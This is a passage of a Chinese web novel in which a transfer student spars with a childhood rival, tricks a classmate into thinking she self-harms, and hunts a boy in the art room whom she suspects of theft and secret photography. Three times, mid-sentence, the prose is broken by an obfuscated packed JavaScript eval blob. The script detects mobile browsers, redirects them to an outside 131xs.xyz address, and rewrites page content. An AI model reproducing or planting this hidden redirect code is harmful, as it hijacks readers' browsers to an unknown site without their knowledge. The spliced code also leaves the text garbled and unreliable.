冯山月加快步伐,不打算与她同行:“杀人的是你爸,不是你,不要把我当成那种随便迁怒人的傻子。” 明明是一句替人开解的话,她却说得像在挑衅。 但是已经比之前要好了,王于英想,至少这次冯山月没有嗤她一声。 她锲而不舍地追上去,冯山月却只想打发她走:“我寒假已经排查过你在网上的社交圈了,没有我要找的人。” 王于英一懵,随即才想起冯山月早上说看过她的Q/Q空间,她有些不解:“谁捡了钱包也不会发在网上啊,你怎么知道没有?” 冯山月没好气地想,又不是什么好人,她还巴不得认识那个人似的,想抓出来找她邀功啊? 她站住脚步,看王于英的眼神像在看傻子。 整件事里王于英唯一的用处就是拿来当幌子,冯山月十分没良心地打算用完就丢,不打算和她有更多纠葛。 更何况,有个更不好糊弄的人正在朝这边走。 冯山月侧头看去。 袁驰走到两人的面前,表情严肃:“我们单独聊聊。” 王于英还记得自己的使命,横过肩膀插在两人中间。 却被冯山月拨开了。 她早就计划今天中午在托管放出消息,袁驰追来是个意外,却不能阻挠她停止行动。 比起王于英,他知道的内情更多,也会想得更多,如果不能给出让他信服的答案,谁知道他还会做什么。 从小一起长大就是这点麻烦,冯山月可不想他给冯燕芳通风报信——尽管葬礼之后冯燕芳就不再见袁驰家的人了。 她这么想着,对袁驰点头:“行,聊聊。” 两个人不约而同地朝王于英看,送客的意思很明显。 轮到王于英拉下脸。 之前还势同水火的,现在又突然能心平气和站在一起讲话了,那她之前帮冯山月拦了半天又算什么? 这两个人都是一脸聪明相,又看起来渊源颇深,此刻甚至散发着一股“我们之间有秘密你不知道”的气场。 这种不是一队人,被排除在外的感觉很讨厌,破坏欲在体内作祟,王于英故意站着没动,问冯山月:“是你今天放学之前对我说,他是‘烦人的东西’,让我帮你赶他走。现在不烦了?” 冯山月一噎。 倒不是因为骂袁驰被他知道,主要是因为这次她是背后说的,总有些不占道义。 袁驰倒是面不改色:“她烦,但还是要和我聊聊。” 王于英用“你找抽”的眼神瞪袁驰。 冯山月也有些无语。 他脸皮什么时候这么厚了? 她把一些难听的话硬生生咽回去,看向王于英:“你不是要帮我忙吗?” 王于英抱起胳膊看她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569734|171402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 冯山月从兜里拿钱包,给了她两百块钱。 王于英挑眉:“封口费?” 冯山月把钱塞她手里:“麻烦你先走,帮我买套四中的冬季校服,M码,谢谢。” 最后两个字咬得很重,甚至有点咬牙切齿的意味。 - 老小区的凉亭里,冯山月坐着,袁驰在旁边靠着柱子,低头看她。 他问:“还有半个月一模,你不考华京了?” 华京大学每年都会进行自主招生,除了竞赛生,也会在全国各地选拔成绩突出的学生进行测试。初审过了之后,要在高考结束后去首都参加复试,评级好的,可以拿到降分录取的资格。初审的报名时间在三月,一模成绩将会是重要参考指标。 比起靠高考裸分投档,这对常年霸榜第一的尖子生来说是条考华京的捷径。 冯山月把书包抱在胸前,不和他对视:“不耽误。” 袁驰见她还装傻,直接把话挑明:“你哥没有钱包,你自己知道。” 冯山月嗯了一声:“不是钱包,是别的东西。” 袁驰追问:“什么?” 冯山月有些不耐烦,她在答应袁驰之后,专门说要找个地方坐下聊,就是为了趁路上这段时间想出理由来。 但过去十二年里,她也没少动坏心思整蛊他和郑海阳,两人之间见招拆招太多次,寻常的谎言已经骗不过他了。 现在看来,只能换一条路线——人在失去理智后就不会纠结逻辑,她要把他气走。 冯山月抬头,瞪着袁驰:“你关心这个做什么?我考不过你,你不该高兴吗?” 袁驰被她看得一愣,片刻后才说:“不一样。” 这场比赛里,如果你不专心,那我赢了也是徒劳。 心里想的后半句说不出口,他抬手摸了摸后颈,声音小了些,却很固执:“不要和偷东西的人硬碰硬。” 寒假里的事故由他父亲而起,人总说祸从口出,小的摩擦却容易引发大的斗争。如果冯山月真的要拿回什么,求助大人,或者报警,都比她这样自己去找要安全。 他放下手,认真地望着她。尽管不知道她在找什么,却不希望她因此出事。 从前,爸爸总是拉着他叮嘱,要考得比冯山月好,他们老冯家也能出个读书人,不能输给她。他也总是以战胜她为目标,因此紧盯着她,越走越近。 他和郑海阳是朋友,郑海阳和她是兄妹,唯独他和她在一起时彼此不对付。三个人中走了一个,友谊和亲缘都没有了,只剩下一段针尖对麦芒的关系。 他和她总是在跷跷板的两边,偶尔在某个瞬间,袁驰会产生离开那上面的想法,走到冯山月身边去问一句你累不累,不如休战片刻,做一会儿好朋友。 这么想着,袁驰望向冯山月的目光更加恳切。 在他不用探究的眼神紧盯她、用表情反驳她、用不屑的语气顶撞她时,他的脸显露出一种前所未有的观赏性。俊俏的眉眼很柔和,浑身上下散发出“我站在你这边”的友好气息。 冯山月何时见过他这种好脸色,防御的本能让她一瞬间起了鸡皮疙瘩。 她把包重重地放在凉亭的圆桌上,话说出口时真的带了几分脾气。 “我拿回我哥的东西,是我们兄妹之间的事,和你没关系。你是什么人,让我向你如实汇报,你有什么资格管我?我转学了你还追过来,怎么,打听到消息以后要告诉我妈吗?你几岁啊,还要玩告家长这套?” 袁驰摇摇头。 反倒让冯山月越想越气,气他的宽宏大量,反而显出她的脾气坏。 更气她这样骂他,他仍低头挨骂,时不时眨眨眼睛,没有一点反驳的架势。 一个人唱独角戏有什么意思? 冯山月往旁边的长凳上一坐:“骂你都嫌浪费口舌,没意思。你走吧。” 凉亭里静下来,她不再说话,也不看她,重新恢复在校门口见他时漠然的表情。 袁驰也坐下了,没挨她太近,隔了半个身子的距离。 刚才冯山月骂他时,一股诡异而可耻的喜悦在他心里升腾,怎么都压不下去,他只好眨着眼睛尽力平复。 在葬礼之后,她从未再因为“该死的人是他”而指责过他。 她只是不想见他,一意把他往外推。 刚才她再次开口骂他,脸上又有了往日那般的鲜活的情绪。 那是他最熟悉的,和她之间的交流方式。 他望着她,心里希望她再多骂几句。 仿佛那样她能好受些,他也能好受些。 可他正这样想着,冯山月却不说话了。 她说没意思。 袁驰坐在她身旁,望着她的侧脸,鬼使神差地问:“那怎样有意思,打我吗?” 说完他自己也愣住了。 冯山月飞快地转过头来,四目相对,她不明所以地皱眉,脸上怒气却仍未消,她的视线落在他干净的脸颊上。 10.10 起初,冯山月以为袁驰在激她,就像从前那样,斗嘴习惯了,她说句什么,他必定反驳。 她气得笑了一声:“以为我不敢吗?” 说完就抬起手来。 袁驰的视线随着她的手而动,察觉她真有此意,也不躲,手撑在身侧的长凳上,脸没有转开,倒是把眼睛闭上了。 那是一个毫无防备、随便对他做什么都可以的姿态。 冯山月从没见过他这样。 小时候打闹都是有来有往的,再长大些就都不便动手动脚了,认真算起来,这么多年冯山月只在刚见面那天结结实实扇过他一巴掌,在此之后,他从未如此听话地站在原地挨打,并且毫无还手的打算。 她注意到他很薄的眼皮,微微颤抖的睫毛,嘴唇因为紧张而轻轻抿着。 一旦分神去想这些无关紧要的东西,原本的怒意也随之松动。 空气凝固片刻,她忽然察觉到袁驰的喉结滑动了一下,如梦初醒般猛地站起来:“你有病啊!” 挨个打闭什么眼睛! 而且他居然真的认为她会因为莫名其妙的拌嘴而打他! 郑海阳死后,要说完全不因此迁怒袁驰,那是不可能的。 可冯山月想过葬礼上如何讥讽他,想过今后不再见他,没想过扇他耳光。 这个动作的侮辱性太强,她不是那种没教养的人,更不是施虐狂。 他以为这是在演狗血电视剧吗?把她当成什么人了? 袁驰睁开眼,映入眼帘的是冯山月吃了苍蝇似的表情。 原本想让她消气,没想到她更生气了。 他后知后觉自己的不妥,清了清嗓子:“我没打算找你吵架,只是担心你安全。” 一旦经历过刚才那样的尴尬局面,现在连坦诚心声都变得不那么艰难了。 冯山月拧着眉,回想今天他的种种突兀举动。 又是问她为什么转学,又是言之凿凿说担心她,以前郑海阳还在的时候,担当这种操心角色的人都是他,袁驰只负责在旁边呛声,或者抛出一个“随她去”的眼神。 她回过味来:“你……该不会是因为我哥去世,过意不去,想替他照顾我?” 就像电视剧里最土的那种情节,朋友死后因为愧疚开始照顾他的家人,说到底只是为了让自己心里好受一点,被照顾的那个反而还要承他的情。 袁驰早上出门的时候没想这么多,此刻被她一点,颇有些醍醐灌顶,终于给自己冒失的一系列行动找到合适的解释。 他扬起头反问:“不可以吗?” 四目相对,谁都没移开目光,终于有了从前那副架势,谁也不肯让谁。 冯山月想了想,朝他嫣然一笑:“可以啊。” 轮到袁驰心里警铃大作了,他立刻翻译出她这个笑容的意味,速度堪比同传。 你自找的,等着瞧吧。 她把包背起来:“你下午没课对不对?” 袁驰含糊地唔了一声,跟着冯山月往凉亭外走,忽然见她站住脚,险些撞上她。 冯山月对袁驰亮出手机,展示一张图片:“去给我买套数学题,今天就要。外封的照片长这样,要13年版,不要最新版,别买错了。” 这套题册是上午武老师放在讲台上的那套,讲填空题的最后一题时她有翻开看过。 那道题出得不错,武老师的讲课水平也超出了冯山月对四中师资质量的预估,她在心里认可了这套题册的含金量,决定搞过来自己研究。 下课后她去看了一眼,却发现这题册已经是好几年前的版本了,去网购平台里搜同名关键词,只能找到最新版。 不过,樟市的图书一条街上有很多专门卖教辅资料的店面,多偏门的题册都能在里面找到,只是得花一番功夫,且位置距离学院街实在遥远,如果没有特别想要的书册,冯山月很少往那边跑。 原本她打算直接借武老师手里那本去复印,尽管做题时会受到批阅痕迹的影响,但好歹也能用。 然而,此刻有个现成的冤大头摆在面前,不折腾他一下都对不起两人过去十二年的恩怨。 冯山月想着,脸上的笑意扩大了些。 袁驰微微俯身,查看她手机,记下照片里的关键信息,移开目光时,对上了她这样的笑脸。 她被抓个正着,反而朝他挑眉,不打算掩饰自己的坏心思。 没想到袁驰直起身,与她并肩往前走着,轻快地说了声:“好。” 冯山月狐疑,叮嘱道:“不要拿最新版的糊弄我。” 袁驰答:“好。” 冯山月又说:“今天就要,过时不候。” 袁驰还是答:“好。” 冯山月问:“买不到怎么办?” 袁驰想了想,反问:“买到了怎么办?” 冯山月皱眉:“是你说要照……顾我,买到就买到了,还能怎样?” 她使唤她哥的时候毫不手软,哪里想过这些,大不了也给袁驰二十块钱当跑腿费。 恰在此时,两人走出了小区,站在路边等红灯。 袁驰转过头,认真地盯着她:“如果买到了,你答应我,一模你要考全市第一。” 不同于冯山月让他跑大半个樟市去买一套题册,他的眼中并无刁难之意,唯有笃定。 因为知道她可以,所以希望她做到。 刚才,在听到冯山月买题册的命令时,袁驰第一反应是松了口气。 还有心情研究数学题,说明她转学到四中不是自甘堕落。 如此,她就还是他熟悉的那个冯山月,会与他在成绩上全力角逐,无论她在暗自筹划着什么,要在四中寻找谁,至少她不会为此放弃她的学业,走偏她人生的道路。 如此,他在小饭桌上因为她的表情而提起来的心可以落回去,那股危险的预感也因此能消散一些。 如此,他要继续把她往正道上拉,把她的全部注意力拉回到考试上。 可冯山月却不知情,也不领情,她用极不悦的眼神瞪他:“我考多少分是我的事,不需要你指挥。” 袁驰继续说:“或者告诉我你在找什么。” 冯山月冷笑:“做梦。” 袁驰也笑:“那我去问阿姨。” 这是在拿告家长威胁她呢。 冯山月垂在身侧的手握拳。 她在四中找人的事冯燕芳迟早要知道,但她没打算马上就捅到她那里去。 现在她是真的有些想扇袁驰了。 袁驰颇有些神气地朝她挑眉:“二选一。” 身侧的红绿灯在滴滴地倒数,也像在催促她做选择。 她大可以说我不答应,你也别替我买题册了,可每次面对他时,那股格外强烈的好胜心令她说不出退却的话。 红绿灯倒数到尽头,绿灯亮起,冯山月朝原地一指:“考就考。别跟着我,买你的题册去。” 说完大步流星地朝马路对面走去。 袁驰还真就听话地站在原地不动了,他注视她背影,扬声说:“一言为定。” 冯山月没回头,脚步却走得更快。 - 她一路进了四中,没先去教室,而是去了汇雅楼。 一楼的门从里面挂了锁,但往二楼的窗户看去,隔着窗帘能看到有人影在晃动。 冯山月在楼下站着抬头看,琢磨该如何把门打开。 一个声音从她背后响起。 “哎。” 冯山月回头,眼前是早上那个穿涂鸦校服的男生。 四下没有别人,她立刻把手揣回兜里,做出防御的架势。 可对方只是尴尬地挠了挠头,表情很不自在。 他说:“那什么,我早上不知道死的人就是你哥哥。” 冯山月一怔。 她离开小饭桌时说的话,这就传到学校里了,速度比她想得还快。 涂鸦男说着,表情却逐渐舒展。明明在道歉,反而像是给自己挽回了颜面,早上的惨败变得情有可原,都是他在让着她这个亲人去世的小可怜:“你这么惨,又是女生,我还找人堵你,这事是我做得不够男人。” 说完后站在原地没动,干瞪着冯山月,等她十分感动他的体贴,说一句我原谅你。 半晌,冯山月对他露出怜悯的眼神:“你这样的人被甩也是正常。” 涂鸦男眼睛一瞪,火气直往上冒:“不要不识好歹。” 冯山月没被他吓着,目光移开了片刻,再转回来时一副看笑话的表情:“你够男人,觉得你比女生强,也没见你早上对着王于英有多硬气。说坏话被抓包,谈恋爱被人甩,堵人还被找茬,我们两个到底谁更惨还真不好说。” 涂鸦男气得脸都皱了:“我只是不和她计较,你以为她就天下无敌了,谁都怕她?她高二在外面挨打的样子你是没看见!” 下一秒,一个低气压的声音在他背后响起。 “哦,你不怕我。” 涂鸦男的汗毛都炸开了,僵着身子慢慢转过头去。 王于英手里拎着一袋M码的四中校服,不知何时站在了他背后,正垂着眼睛盯住他,面无表情。 再一回头,冯山月朝他弯着眼睛微笑,这是早就看见王于英了,故意激他说人坏话被发现。 王于英被揭黑历史,心情十分差,抬脚就想踹他膝弯,碍于冯山月站在旁边,终究忍住了,改为迈腿朝前走,把他撞开。 “不会说话就滚,少在这里给人添堵。” 几分钟前,她在高三教学楼的阳台上往校门口看,找到冯山月一路朝汇雅楼走的身影,原本没打算下楼找她,却看见涂鸦男不知何时跟了上去。 还好来得及时,再晚一点事情又要闹大,以她现在对冯山月的了解,她不一定会吃瘪,但一定会让场面变得很难收拾。 涂鸦男转头就走,心想发誓这辈子再也不主动招惹冯山月了,却听到她在背后喊他。 他装没听见,还要走,王于英叫了一声他全名。 “吴亮亮,站着。” 王于英上一次叫他全名,是把他堵在家楼下准备揍他,吴亮亮听到这个声音就条件反射地立正站好了。 他在心里悲愤地发誓,以后不但不招惹冯山月,还要在学校里绕着她走。 冯山月忍着没嘲笑那个与他混子气质毫不相符的名字,望着他校服背后的石膏头简笔涂鸦,问:“你是不是认识画室的人?” 吴亮亮转身,不明所以地点头。 王于英也侧头看冯山月,想到她中午说的找人,有些好奇,又隐约有了点不好的预感。 冯山月朝身后指了指:“我想参观一下这栋楼,你找人把锁开了。” 吴亮亮瞅了一眼旁边王于英的脸色,仰天叹气,认命了。 - 汇雅楼二楼的长廊上,白天没有开灯,这里窗户少,显得光线有些暗。 长廊两侧,墙壁上挂满了美术生的获奖画作和音乐、舞蹈、播音生的获奖照片。 冯山月换上了四中的校服,站在拐角处,正在把羽绒服叠好往包里塞。 她想了想,从羽绒服的兜里掏出什么,当着王于英的面不好直接往兜里装,索性藏在袖子里。 王于英没注意到她的动作,只专注替她放风,尽管不解她要干什么,却执行得很忠实。 随后,冯山月把包背好,用挂画玻璃当镜子,开始整理衣领。 王于英收回身子站好,抱着胳膊站在她旁边,忽然说:“谢谢啊。” 冯山月转头,不明所以:“什么?” 王于英很少有这样声如蚊讷的时候,却把话说得很直白:“我以为你来四中是想揭发我爸是杀人犯,结果现在大家讨论的都是另一件事。” 中午她回到教室后,发现有人正拿着手机兴奋地谈论那件杀人案,下意识提起心,却发现他们是听了小饭桌上认识的同学传话,在讨论那个偷钱包的人,倒是不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582239|171402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关心杀人的是谁了。 尽管这份短暂的释然让王于英自己都觉得可耻,尽管她也知道冯山月所做不是为了帮她,但如今话题转移,她还是想为之前对冯山月的怀疑道个歉,说声谢谢。 冯山月上下扫她一眼,表情像在说“你吃错药了”,她哼了一声当领情,把头转回去。 王于英已经习惯她的表达方式了,没嘲讽就是在说不客气,嘲讽了也可以理解成不客气,总之不是拒绝的意思。 她想了想,又说:“你当心那个偷钱包的人害你。” 这件事她想了一中午。 换位思考,如果是自己有把柄在冯山月手里,她肯定坐立不安,不希望她说出去,那个偷了钱包的人既然敢做坏事,心肠一定比她要歹毒。 这种情况下,对方会做出什么还真不好说。 王于英原本觉得,吴亮亮如今不敢再招惹冯山月,袁驰也被证实了不会为难冯山月,警报解除,她可以不用管冯山月的安全问题了,但一想到她执意要去找那个偷东西的人,终究还是放不下心来。 冯山月听完,又嗤了一声:“你别管,等着瞧就是。” 王于英拉下脸:“我不管,等着瞧你被人害?” 冯山月已经整好衣服,把拉链拉到最顶端,遮住半张脸,她从墙边探出身子,越过拐角,朝走廊尽头看去。 最里面的画室敞着门,屋子里的灯光投在走廊的地板上,隐约能听到一些动静。 小饭桌里那些四中的学生,尽管冯山月没有认真留意过,却也大概记得住脸。只要能在画室里扫一圈,她就能认出谁曾在小饭桌上出现过。 她打算悄悄地过去,飞快看一眼,找出那个人。 行动需要隐秘,身边多带一个王于英未免太显眼。 这么想着,她收回脑袋,故意用吴亮亮的话刺了王于英一句:“你就是管太多,才会高二的时候在外面挨打。” 尽管不知道王于英之前经历过什么,但今天相处下来,她不觉得王于英有传闻中的那么可怕。 之前在一中时,偶尔听说过四中有个排球生校霸在外面打架,刚转学来的时候,她还以为王于英和她爸一样天生带点暴力基因。 现在看来,蹭饭吃会付钱、受了照顾会说谢谢、身边的真心朋友也不少……怎么看都良心未泯,一副傻大姐模样,不像是故意在外面惹事的类型。 就是容易生气,什么都写在脸上,说几句就急眼。 也好,赶紧走开,耳边清净。 冯山月说完,故意用挑衅的目光看王于英。 结果王于英听完,竟然笑出声来:“我管太多才挨打?” 与其说她是气笑的,不如说觉得这话可笑。 冯山月担心她动静大被发现,又有些不自在,被她这么一笑,倒显得她轻信吴亮亮的话很傻了。 “谁关心你为什么挨打,别跟着我。” 她直接把脑袋转开了,要往画室走。 王于英用指头勾住冯山月的校服兜帽,轻轻往后拽,阻止她离开。 “你去画室干什么?别以为美术生就没有爱混的,当心被堵着出不来,又找我救你。” 冯山月烦得回头瞪她,用手抓着帽子往回拉:“谁要你救。” 两人拉扯,王于英有点不高兴,她不是对谁都有耐心,也不是对人耐心无上限。 没有人喜欢干热脸贴冷屁股的事。 王于英松手:“不管就不管。” 冯山月没防备,正使着劲,小臂顺势一甩。 一件东西随着惯性从她袖子里飞出,“啪嗒”落在地上,滑出一段距离,停在远处。 两人一起看过去。 是冯山月刚才换衣服时放在袖子里的,一支崭新的美工刀。 王于英怔住了。 冯山月比她先回神,上前一把将刀抄起来塞回兜里,脸色很不好看。 她说不需要王于英救,不是赌气,而是因为她有刀。 自始至终,她都做好了最坏的打算,给自己留一个遇险时防身的手段。 现在好了,这人本来就管得多,看到她带凶/器上学,必定要把她当恐/怖/分//子严加看管,也不知道她会不会和袁驰一样用告家长出言威胁。 没想到,王于英呆呆地看完了冯山月行云流水一套动作,慢慢回过神,却用闪烁的目光去看冯山月的手腕。 一副欲言又止的模样,想说又不敢开口,仿佛随便做点什么就要刺激到她。 她抬手想指冯山月,却又觉得冒犯,放下以后迟疑地说:“你……” 冯山月不明所以,顺着她的视线去看自己的手腕。 四中的冬季校服是收口的,她的手腕被层层衣物包裹着,看不出什么。 但王于英锐利的目光仿佛能穿透屏障,看清真相。 她显然将冯山月随身持刀理解成了另一个含义。 一个高中生,从压力巨大、每年都发生跳/楼事件的一中转学而来,刚经历丧亲之痛,又不得不寻找哥哥被偷走的“遗物”,依照早上校门口的情形看,和家长的关系也闹得有些僵。 王于英很快想到了那柄刀会用来干什么,她不是第一次遇见这种情况了。 霎时间,她看冯山月的眼神完全变了,最后一点不耐烦与不理解也消失,眼中满是包容与怜悯,像在看纸人,重话说不得,抬手碰不得,什么都好商量。 电光火石间,冯山月忽然明白王于英在想什么了。 一股好气又好笑的情绪涌上来,差点让她脸上绷不住。 但她转念就意识到,既然眼前站着的是个同情心泛滥的大傻子,不骗白不骗。 王于英正惶惶然地不敢看冯山月手腕,又心里直打鼓,就听到冯山月沉着声音开口了。 她垂着眼睛,右手攥着左手,脸上装可怜的表情很生疏,好在被刘海挡住了,看起来颇像那么一回事。 “我自/残的事,别说出去。” 11.11 冯山月以为王于英会多说几句,比如问她为什么要这么做,又或者义正辞严劝阻她。 可她什么都没有说,只是很认真地点了点头。 在认为冯山月在自/残之后,她没有对这件事本身表现出惊讶。 仿佛这对她来说从不是遥远而陌生的东西。 轮到冯山月意外了。 王于英什么时候这么贴心了? 两人站在原地彼此干瞪眼,王于英好像也在等她说点什么。 半晌,见冯山月没有说话的意思,王于英侧过身去,抬手把脑后的小辫子拆了,一边重新绑好,一边借着动作飞快地说。 “你……想倾诉可以找我,我有把柄在你手上,也不认识你在一中的朋友,我什么都不会说。” 说话的时候,抬起的胳膊刚好遮住脸,不知道是怕冯山月尴尬,还是怕她自己尴尬。 她等了一会儿,没等到冯山月像之前那样嗤一声,或者用看傻子的眼光看她。 冯山月的脸色很复杂。 有点像中午被梁阿姨按在怀里摸头时的表情,当温度过高的东西摆在她面前,她总是下意识地抵触,却又舍不得后退。 她不再维持右手攥左手的动作,而是抬手把拉到最上方的拉链又提了提,整张脸只剩眼睛露在外面,随后扭头朝拐角外看。 王于英豁出去了,追问:“没听清吗,要不要我再重复一遍?” 半晌,她听到冯山月瓮声瓮气地说:“你们学校心理咨询室在哪?让老师出来,你去她位置上坐着。” 王于英忍不住笑了一声。 冯山月回头,凉凉地扫她一眼,径自转过拐角,往画室走去。 王于英想跟,冯山月撂下一句话:“我有嘴,真出了事我会喊。你有腿,这么几步路,你还怕跑不过?” 王于英只好在原地站住了,冯山月想了想,忽然朝她摊手。 王于英面露疑惑,却听到她说:“发绳借我用用。” - 画室的门大敞着,里面只有铅笔在素描纸上沙沙划动的声音。 门口冒出半个脑袋。 冯山月朝屋子里扫了一圈,只看到两个人坐在画板前临摹照片。 都是女生。 那个人没来画室吗? 冯山月绷着的神经放松下来,有些失望,但她很快眼尖地发现,画室的角落里放了个敞开的书包。 而屋子里的两个女生的身侧都放着自己的包。 原来是暂时离开了。 冯山月想到什么,把校服拉链拉下去,整理好衣领,露出整张脸,不再是刚才那副鬼鬼祟祟的样子。 紧接着,她拿出兜里王于英给她的发绳。 - 屋子里传来脚步声,两个女生都回头看去,发现来者是一个穿四中校服的女生,头发很潦草地在脑后扎了个小辫,看脸有点眼熟,却想不起在哪见过。 其中一个女生问:“同学,你找谁?” 冯山月走到角落,指向那个书包,明知故问:“这个包是吴亮亮的吗?我帮他拿回去。” 吴亮亮校服上有涂鸦,还能搞到汇雅楼的钥匙,就算不是美术生,也经常出入画室,拿他的名字当借口总不会出错。 果然,另一个认识吴亮亮的答:“吴亮亮今天又没来画室,这包是何志宇的。” 冯山月心里一动。 原来这是那个人的名字。 她在梁阿姨的花名册上见过这个名字,不过是手写的,字迹极其潦草,她一时没认出最后那个字是什么。 现在有人提起,她终于推出来了。 紧接着,冯山月记起,她早上在校门口的宣传栏里也见过这个名字,左边的板块是美术生联考捷报,何志宇的名字排在第一个。 她问:“是不是那个联考排名很高的何志宇?” 一个女生点头,被冯山月这么一说,打开了话匣子,直接和身旁的同学聊了起来。 她神情不屑:“我刚才还看到他哭丧着脸呢,一问他,他说申美校考考砸了。真好笑,他联考省排名那么高,只要文化分提上去,去不了申美,也可以报别的学校,至于难受成那样吗?” 申美是全国顶尖的美院,冯山月这种外行人唯二听过的美院名字,除了京美,就是申美。 另一个叹气:“老师今晚带我们飞华京,后天就是京美校考,我飞机上还挨着他坐。他自己心态炸也就算了,能不能不要影响别人,我现在看到他那副表情就发怵。” 聊着聊着,她们忽然发现冯山月还没走,正站在她们身后看画板。 毕竟是在背后说小话,被人听见,两个女生都有些尴尬,其中一个语气不太好地问冯山月:“同学,你还有什么事吗?” 一边问,她又认真看了看冯山月的脸,不知道为什么,她总觉得眼前这个女生看起来心情不错。 冯山月当然心情不错。 从出事那天,一直到此刻,她第一次感到这么痛快。 与其认为何志宇今天丧着脸是因为考砸,冯山月更倾向于他是今天早上看到自己转学了,心里有鬼,才会如此。 而这,也是她之前闹出那么大动静的目的。 冯山月在心里冷笑。 慢慢来,这还只是开胃菜。 两个女生仍在望着她,冯山月看向画板,转移话题:“我妹妹也想学美术,我来看看她水平够不够。你们画得可真好,我妹妹根本比不了,我还是劝她放弃这条路吧。” 妹妹自然是凭空捏造的,冯山月以前还真的想过要个妹妹,总是被人照顾,她偶尔也想试试罩着别人是什么感觉。 眼前,两个女生被她夸奖,都有些高兴,警惕心也没那么重了,在她面前进行了一番“别看天赋低,集训出奇迹”和“做美术生痛苦一生”的辩论。 冯山月却完全走了神,她目光落在她们的画板上。 画板左上角贴着打印好的人像照片,而两个女生正在对着照片画,画风和何志宇画冯山月的那张半身素描类似,都是写实派,几乎是把照片上的人物复刻了一遍,没经过太多艺术加工,只在人物的衣服刻画上做了减法,把印花给省去了。 冯山月小时候上美术课都是混过去的,上了初中后就开始利用美术课背单词做题,对美术一窍不通。 这不是她擅长的领域,因此当她来到画室里,有了更多的参考后,才突然意识到一件事。 她指向画板:“所以你们画这种画,都是对着照片画的吗?” 两个女生停止争辩,看向她。 其中一个不明所以,但还是答:“要么画照片,要么画真人模特,不过模特也得坐在那儿几个小时不动,总之得有个参考。” 冯山月又问:“你们为什么不画衣服的花纹?” 另一个答:“难画呗,本来衣褶就不好画,再加上花纹,万一透视结构画错了还要倒扣分。” 冯山月心里跳得很快,她还记得那张画着她的画上,睡衣上的繁复花纹被完全再现了一遍。 她谢过两个同学,又随意扯了几句家常,替她那位不存在的妹妹接受前辈的殷殷叮嘱,终于离开画室。 走廊拐角处,拉长的影子落在地板上,王于英仍在那里等她。 见冯山月出来,她松了口气,却发现对方一副若有所思的表情,完全没有注意到自己,径直从她身旁掠过。 王于英再次扯住她的校服兜帽,冯山月上身动不了,腿仍在朝前迈,走廊的地板很光滑,她直接在原地蹭了两步,看上去像《猫和老鼠》里被拦住后还在原地扑腾的卡通角色。 冯山月这才回过神来,对上王于英憋笑的脸,破天荒地没生气,只是随口说:“你还没走啊?” 王于英一噎,看她一副心不在焉的表情,问:“你没找到人?” 冯山月点头:“今天大概见不到了,接下来几天都见不到。” 明明不是什么好消息,她却眼睛发亮,挺直背朝前大步走,斗志昂扬的样子。 王于英摸不着头脑,跟上去,示意冯山月把发绳还给她。 冯山月这才意识到还绑着小辫,她把发绳拽下来抛给王于英,突然声音轻快地说:“我以前不和特长生打交道,现在算是有改观了。” 身为体育特长生的王于英脚步一顿,对这句前不着村后不着店的话表示疑惑。 借个发绳而已,就让她改观这么大? 转学生的心思好难猜。 至于冯山月,她心中所想的已经完全是别的事了。 这次去画室给了她一个极其重要的提示。 画素描是需要找参考的,想要连衣服上的花纹都处理好,更不可能凭空想象。 如果何志宇把冯山月本人当模特,那么需要她几个小时不动,才能画出那样精细的素描画,但冯山月只有写作业的时候会静坐在原地,而她的书桌并不靠窗。 这说明,何志宇在画那幅画的时候,参考了照片。 他偷拍了。 走到这一步,他的微小之恶已经突破了法律的界限,事情的性质得以改变,行政拘留是板上钉钉的事。 敌人的心态是不可控的变量,但证据是确凿的,一旦拿到,她这次转学后的行动就能有一个完美的收尾——她要把他送进去。 - 画室,冯山月刚走不久,一个戴眼镜的男生拎着洗笔桶进来。 何志宇其貌不扬,个子瘦小,厚厚的刘海和镜片挡住了眼睛。 他往自己的书包走去,打算拿包手帕纸,把桶和画笔上的水珠擦干。 弯下腰后,他动作却顿住了。 他的书包放在角落的椅子上,这个角落的地板上满是铅笔灰,脚印踩过,会留下痕迹。 就在他离开的这段时间里,地上多了一组崭新的脚印。 刚才有人来过。 画素描的女生们忽然听到拉链被猛然扯开的声音,侧头看去,何志宇正在书包里翻找着什么,动作幅度很大。 紧接着,他瘫坐在椅子上,松了口气。 注意到她们的视线后,何志宇定了定神,很不客气地问:“你们刚才来过这边?” 一个女生皱起眉,他这副质疑的语气谁听了都不舒服:“我们吃饱了闲的。刚才有个找吴亮亮的,来画室参观了一圈。” 何志宇坐直了,追问:“男的女的?长什么样?穿什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594567|171402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服?” 女生撇嘴:“穿校服啊,还能穿什么,扎个小辫子。” 